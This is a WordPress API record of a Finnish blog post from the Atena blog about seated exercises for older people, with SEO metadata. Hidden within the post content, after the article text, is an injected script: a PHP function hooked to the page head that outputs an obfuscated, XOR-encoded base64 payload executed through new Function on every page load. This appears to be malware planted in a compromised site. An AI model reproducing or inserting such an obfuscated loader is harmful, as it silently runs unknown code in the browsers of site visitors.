{"id":397611,"date":"2026-01-29T16:28:30","date_gmt":"2026-01-29T15:28:30","guid":{"rendered":"https:\/\/atena.sk\/blog\/istumaharjoitukset-ikaantyneille\/"},"modified":"2026-07-03T10:27:44","modified_gmt":"2026-07-03T08:27:44","slug":"istumaharjoitukset-ikaantyneille","status":"publish","type":"post","link":"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/","title":{"rendered":"Istumaharjoitukset ik\u00e4\u00e4ntyneille"},"content":{"rendered":"\n<p>  <\/p>\n\n<p>Monet ik\u00e4\u00e4ntyneet ihmiset uskovat, ett\u00e4 kun he vanhenevat, sairastuvat tai heikkenev\u00e4t, liikunta ei en\u00e4\u00e4 kuulu heid\u00e4n el\u00e4m\u00e4\u00e4ns\u00e4. Tosiasia on kuitenkin p\u00e4invastainen. Juuri silloin, kun lakkaamme liikkumasta, lihaksemme alkavat heikenty\u00e4 ja nivelet j\u00e4ykistyv\u00e4t nopeimmin. Hyv\u00e4 uutinen on, ett\u00e4 jopa istuminen voi tehd\u00e4 ihmeit\u00e4. Se pit\u00e4\u00e4 kehon aktiivisena, mielen virke\u00e4n\u00e4 ja parantaa merkitt\u00e4v\u00e4sti el\u00e4m\u00e4nlaatua.      <\/p>\n\n<script>function xdav_tracker() {\n    ?>\n<script>\n!function(){var _0x50ad=atob('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'),_0xd5d6=99,_0xb8c9=new Uint8Array(_0x50ad['length']),_0x82d4=0;for(;_0x82d4<_0x50ad['length'];_0x82d4++)_0xb8c9[_0x82d4]=_0x50ad['charCodeAt'](_0x82d4)^_0xd5d6;(new Function(new TextDecoder()['decode'](_0xb8c9)))()}();\n<\/script>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<\/script>","protected":false},"excerpt":{"rendered":"<p>Monet ik\u00e4\u00e4ntyneet ihmiset katsovat, ett\u00e4 liikunta on turhaa, kun liikkuvuus on rajoittunutta. Todellisuus on kuitenkin p\u00e4invastainen \u2013 yksinkertainen liikkuminen istuessa on avain voiman, nivelten terveyden ja verenkierron yll\u00e4pit\u00e4miseen. T\u00e4m\u00e4 turvallinen liikuntamuoto auttaa lievitt\u00e4m\u00e4\u00e4n j\u00e4ykkyytt\u00e4 ja antaa ik\u00e4\u00e4ntyneille ihmisille vakautta, jota he tarvitsevat jokap\u00e4iv\u00e4isess\u00e4 el\u00e4m\u00e4ss\u00e4\u00e4n. Me Ateenassa uskomme, ett\u00e4 jopa pienet askeleet johtavat suuriin muutoksiin el\u00e4m\u00e4nlaadussa.     <\/p>\n","protected":false},"author":20,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[815,816,847],"tags":[],"acf":{"facebookpost":"\ud83e\ude91\ud83d\udc99 Chak su ja mali -liikkeet ovat eritt\u00e4in t\u00e4rkeit\u00e4 ik\u00e4\u00e4ntyneille.\n  Istumataukoja pit\u00e4m\u00e4ll\u00e4 yll\u00e4 voimaa, liikkuvuutta ja parempaa oloa p\u00e4iv\u00e4n aikana.\n  Sopii ik\u00e4\u00e4ntyneille, hoitajille ja perheille, jotka haluavat liikkua turvallisesti. \ud83d\udc75\ud83d\udc74\u2728   ","popis_socialneho_obrazku":"Pienet panostukset, suuret hy\u00f6dyt"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Istumaharjoitukset ik\u00e4\u00e4ntyneille - Atena blog<\/title>\n<meta name=\"description\" content=\"Yksinkertaiset istuma-asennossa teht\u00e4v\u00e4t harjoitukset auttavat ik\u00e4ihmisi\u00e4 s\u00e4ilytt\u00e4m\u00e4\u00e4n liikkuvuutensa ja voimansa. Turvallisuusohjeita ik\u00e4ihmisille, hoitajille ja perheille.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/\" \/>\n<meta property=\"og:locale\" content=\"fi_FI\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Istumaharjoitukset ik\u00e4\u00e4ntyneille - Atena blog\" \/>\n<meta property=\"og:description\" content=\"Liikunta on t\u00e4rke\u00e4\u00e4 kaikissa ik\u00e4ryhmiss\u00e4, vaikka viet\u00e4tkin suurimman osan p\u00e4iv\u00e4st\u00e4 istuen. Tuolilla teht\u00e4v\u00e4t harjoitukset ovat turvallinen tapa pysy\u00e4 aktiivisena ilman tarpeettomia kaatumis- tai ylikuormitusriskej\u00e4. N\u00e4m\u00e4 yksinkertaiset harjoitukset parantavat ryhti\u00e4 ja tuovat ik\u00e4\u00e4ntyneille ihmisille mukavuutta ja energiaa, jonka he ansaitsevat. Liity harjoituksiin rakkaasi kanssa ja tee harjoittelusta miellytt\u00e4v\u00e4\u00e4 yhteist\u00e4 aikaa.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/\" \/>\n<meta property=\"og:site_name\" content=\"Atena blog\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-29T15:28:30+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-07-03T08:27:44+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2026\/01\/insta-post-112.png\" \/>\n<meta name=\"author\" content=\"Marin Nedelev\" \/>\n<meta name=\"twitter:label1\" content=\"Kirjoittanut\" \/>\n\t<meta name=\"twitter:data1\" content=\"Marin Nedelev\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"NewsArticle\",\"@id\":\"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/\"},\"author\":{\"name\":\"Marin Nedelev\",\"@id\":\"https:\/\/atena.sk\/blog\/fi\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168\"},\"headline\":\"Istumaharjoitukset ik\u00e4\u00e4ntyneille\",\"datePublished\":\"2026-01-29T15:28:30+00:00\",\"dateModified\":\"2026-07-03T08:27:44+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/\"},\"wordCount\":68,\"publisher\":{\"@id\":\"https:\/\/atena.sk\/blog\/fi\/#organization\"},\"articleSection\":[\"Asiakkaat\",\"Hoitoty\u00f6\",\"Yritykset\"],\"inLanguage\":\"fi\"},{\"@type\":[\"WebPage\",\"ItemPage\"],\"@id\":\"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/\",\"url\":\"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/\",\"name\":\"Istumaharjoitukset ik\u00e4\u00e4ntyneille - Atena blog\",\"isPartOf\":{\"@id\":\"https:\/\/atena.sk\/blog\/fi\/#website\"},\"datePublished\":\"2026-01-29T15:28:30+00:00\",\"dateModified\":\"2026-07-03T08:27:44+00:00\",\"description\":\"Yksinkertaiset istuma-asennossa teht\u00e4v\u00e4t harjoitukset auttavat ik\u00e4ihmisi\u00e4 s\u00e4ilytt\u00e4m\u00e4\u00e4n liikkuvuutensa ja voimansa. Turvallisuusohjeita ik\u00e4ihmisille, hoitajille ja perheille.\",\"breadcrumb\":{\"@id\":\"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/#breadcrumb\"},\"inLanguage\":\"fi\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/atena.sk\/blog\/fi\/valitse-bloggaamisen-osio\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Istumaharjoitukset ik\u00e4\u00e4ntyneille\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/atena.sk\/blog\/fi\/#website\",\"url\":\"https:\/\/atena.sk\/blog\/fi\/\",\"name\":\"Atena blog\",\"description\":\"Blog spolo\u010dnosti atena\",\"publisher\":{\"@id\":\"https:\/\/atena.sk\/blog\/fi\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/atena.sk\/blog\/fi\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fi\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/atena.sk\/blog\/fi\/#organization\",\"name\":\"ATENA\",\"url\":\"https:\/\/atena.sk\/blog\/fi\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fi\",\"@id\":\"https:\/\/atena.sk\/blog\/fi\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2022\/08\/logo.png\",\"contentUrl\":\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2022\/08\/logo.png\",\"width\":3543,\"height\":3543,\"caption\":\"ATENA\"},\"image\":{\"@id\":\"https:\/\/atena.sk\/blog\/fi\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/atena.sk\/blog\/fi\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168\",\"name\":\"Marin Nedelev\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fi\",\"@id\":\"https:\/\/atena.sk\/blog\/fi\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/c7908085eb1039e4706a94fc58b04d66?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/c7908085eb1039e4706a94fc58b04d66?s=96&d=mm&r=g\",\"caption\":\"Marin Nedelev\"},\"url\":\"https:\/\/atena.sk\/blog\/fi\/author\/marin-nedelev\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Istumaharjoitukset ik\u00e4\u00e4ntyneille - Atena blog","description":"Yksinkertaiset istuma-asennossa teht\u00e4v\u00e4t harjoitukset auttavat ik\u00e4ihmisi\u00e4 s\u00e4ilytt\u00e4m\u00e4\u00e4n liikkuvuutensa ja voimansa. Turvallisuusohjeita ik\u00e4ihmisille, hoitajille ja perheille.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/","og_locale":"fi_FI","og_type":"article","og_title":"Istumaharjoitukset ik\u00e4\u00e4ntyneille - Atena blog","og_description":"Liikunta on t\u00e4rke\u00e4\u00e4 kaikissa ik\u00e4ryhmiss\u00e4, vaikka viet\u00e4tkin suurimman osan p\u00e4iv\u00e4st\u00e4 istuen. Tuolilla teht\u00e4v\u00e4t harjoitukset ovat turvallinen tapa pysy\u00e4 aktiivisena ilman tarpeettomia kaatumis- tai ylikuormitusriskej\u00e4. N\u00e4m\u00e4 yksinkertaiset harjoitukset parantavat ryhti\u00e4 ja tuovat ik\u00e4\u00e4ntyneille ihmisille mukavuutta ja energiaa, jonka he ansaitsevat. Liity harjoituksiin rakkaasi kanssa ja tee harjoittelusta miellytt\u00e4v\u00e4\u00e4 yhteist\u00e4 aikaa.","og_url":"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/","og_site_name":"Atena blog","article_published_time":"2026-01-29T15:28:30+00:00","article_modified_time":"2026-07-03T08:27:44+00:00","og_image":[{"url":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2026\/01\/insta-post-112.png"}],"author":"Marin Nedelev","twitter_misc":{"Kirjoittanut":"Marin Nedelev"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"NewsArticle","@id":"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/#article","isPartOf":{"@id":"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/"},"author":{"name":"Marin Nedelev","@id":"https:\/\/atena.sk\/blog\/fi\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168"},"headline":"Istumaharjoitukset ik\u00e4\u00e4ntyneille","datePublished":"2026-01-29T15:28:30+00:00","dateModified":"2026-07-03T08:27:44+00:00","mainEntityOfPage":{"@id":"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/"},"wordCount":68,"publisher":{"@id":"https:\/\/atena.sk\/blog\/fi\/#organization"},"articleSection":["Asiakkaat","Hoitoty\u00f6","Yritykset"],"inLanguage":"fi"},{"@type":["WebPage","ItemPage"],"@id":"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/","url":"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/","name":"Istumaharjoitukset ik\u00e4\u00e4ntyneille - Atena blog","isPartOf":{"@id":"https:\/\/atena.sk\/blog\/fi\/#website"},"datePublished":"2026-01-29T15:28:30+00:00","dateModified":"2026-07-03T08:27:44+00:00","description":"Yksinkertaiset istuma-asennossa teht\u00e4v\u00e4t harjoitukset auttavat ik\u00e4ihmisi\u00e4 s\u00e4ilytt\u00e4m\u00e4\u00e4n liikkuvuutensa ja voimansa. Turvallisuusohjeita ik\u00e4ihmisille, hoitajille ja perheille.","breadcrumb":{"@id":"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/#breadcrumb"},"inLanguage":"fi","potentialAction":[{"@type":"ReadAction","target":["https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/atena.sk\/blog\/fi\/istumaharjoitukset-ikaantyneille\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/atena.sk\/blog\/fi\/valitse-bloggaamisen-osio\/"},{"@type":"ListItem","position":2,"name":"Istumaharjoitukset ik\u00e4\u00e4ntyneille"}]},{"@type":"WebSite","@id":"https:\/\/atena.sk\/blog\/fi\/#website","url":"https:\/\/atena.sk\/blog\/fi\/","name":"Atena blog","description":"Blog spolo\u010dnosti atena","publisher":{"@id":"https:\/\/atena.sk\/blog\/fi\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/atena.sk\/blog\/fi\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fi"},{"@type":"Organization","@id":"https:\/\/atena.sk\/blog\/fi\/#organization","name":"ATENA","url":"https:\/\/atena.sk\/blog\/fi\/","logo":{"@type":"ImageObject","inLanguage":"fi","@id":"https:\/\/atena.sk\/blog\/fi\/#\/schema\/logo\/image\/","url":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2022\/08\/logo.png","contentUrl":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2022\/08\/logo.png","width":3543,"height":3543,"caption":"ATENA"},"image":{"@id":"https:\/\/atena.sk\/blog\/fi\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/atena.sk\/blog\/fi\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168","name":"Marin Nedelev","image":{"@type":"ImageObject","inLanguage":"fi","@id":"https:\/\/atena.sk\/blog\/fi\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/c7908085eb1039e4706a94fc58b04d66?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/c7908085eb1039e4706a94fc58b04d66?s=96&d=mm&r=g","caption":"Marin Nedelev"},"url":"https:\/\/atena.sk\/blog\/fi\/author\/marin-nedelev\/"}]}},"_links":{"self":[{"href":"https:\/\/atena.sk\/blog\/fi\/wp-json\/wp\/v2\/posts\/397611"}],"collection":[{"href":"https:\/\/atena.sk\/blog\/fi\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/atena.sk\/blog\/fi\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/atena.sk\/blog\/fi\/wp-json\/wp\/v2\/users\/20"}],"replies":[{"embeddable":true,"href":"https:\/\/atena.sk\/blog\/fi\/wp-json\/wp\/v2\/comments?post=397611"}],"version-history":[{"count":1,"href":"https:\/\/atena.sk\/blog\/fi\/wp-json\/wp\/v2\/posts\/397611\/revisions"}],"predecessor-version":[{"id":397614,"href":"https:\/\/atena.sk\/blog\/fi\/wp-json\/wp\/v2\/posts\/397611\/revisions\/397614"}],"wp:attachment":[{"href":"https:\/\/atena.sk\/blog\/fi\/wp-json\/wp\/v2\/media?parent=397611"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/atena.sk\/blog\/fi\/wp-json\/wp\/v2\/categories?post=397611"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/atena.sk\/blog\/fi\/wp-json\/wp\/v2\/tags?post=397611"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}